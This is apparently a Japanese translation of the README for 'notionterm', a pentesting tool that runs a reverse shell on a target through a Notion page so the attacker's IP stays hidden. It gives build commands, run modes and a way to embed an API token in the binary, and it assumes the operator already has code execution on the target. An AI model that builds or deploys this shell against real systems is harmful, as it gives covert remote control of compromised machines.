`notionterm`

Notionページにリバースシェルを埋め込む
メモを取りながらハッキング

こんなときに ➕:

リバースシェルで攻撃者のIPを隠したい (攻撃者とターゲットマシンが直接通信しない。Notionがリバースシェルをホストするプロキシとして機能)
レポート内でのデモ/クイックプルーフの挿入
高可用性で共有可能なリバースシェル (デスクトップ、ブラウザ、モバイル)
暗号化および認証されたリモートシェル

こういうときは使わない ➖:

長時間のインタラクティブシェルセッション (その場合はtacosを参照)

なぜ？ 🤔

使い勝手を保ちつつ楽しいものを作ることに焦点を当てましたが、ペンテスターのツールキットにおけるリバースシェルの決定版というわけではありません。

どうやって？ 🤷‍♂️

Notionを通常通り使用し、ターゲット上でnotiontermを起動するだけです。

必要条件 🖊️

NotionソフトウェアとAPIキー
ターゲットからNotionドメインへのHTTP通信が許可されていること
ターゲット上で事前にRCEが可能であること

OffensiveNotion と notionion の素晴らしいアイデアから大まかに着想を得ています！

TL;DR

コマンドやフラグを学ぶのは退屈です: wrap-notionterm.sh を使いましょう

Quickstart

🏗️ セットアップ

ページを作成し、統合APIキーにページ書き込み権限を付与する
notionterm をビルドし、ターゲットマシンに転送する (ビルドを参照)

👟 実行

notionterm を実行する主な方法は3つあります:

"通常" モード
端末の取得、停止/再開など


notionterm [flags]

ボタンウィジェットでシェルを開始: ON にしてリバースシェル作業を行い、OFF で一時停止、ON で再開など。

"サーバー" モード
notionterm を任意のページに簡単に埋め込む


notionterm --server [flags]

ページIDを含むURLの埋め込みブロックを作成して、任意のページでシェルセッションを開始します (CTRL+LでページIDを取得): https://[TARGET_URL]/notionterm?url=[NOTION_PAGE_ID]。

light モード
ターゲット → Notion へのHTTPトラフィックのみ実行


notionterm light [flags]

ビルド

notionterm はターゲットマシン上で実行されることを想定しているため、環境に合わせてビルドする必要があります。

ターゲット要件に合わせて環境変数を設定します:

GOOS=[windows/linux/darwin]

シンプルなビルド

git clone https://github.com/ariary/notionterm.git && cd notionterm
GOOS=$GOOS go build notionterm.go

APIキーとNotionページURLは、環境変数 (NOTION_TOKEN & NOTION_PAGE_URL) またはフラグ (--token & --page-url) で設定します。

"オールインワン" ビルド

Notion統合APIトークンとNotionページURLをバイナリに直接埋め込みます。 ⚠️ バイナリにアクセスできる人は誰でもトークンを取得できます。セキュリティ上の理由から共有せず、使用後は削除してください。

該当する環境変数を設定:

export NOTION_PAGE_URL=[NOTION_PAGE_URL]
export NOTION_TOKEN=[INTEGRATION_NOTION_TOKEN]

そしてビルド:

git clone https://github.com/ariary/notionterm.git && cd notionterm
./static-build.sh $NOTION_PAGE_URL $NOTION_TOKEN $GOOS

notionterm

人気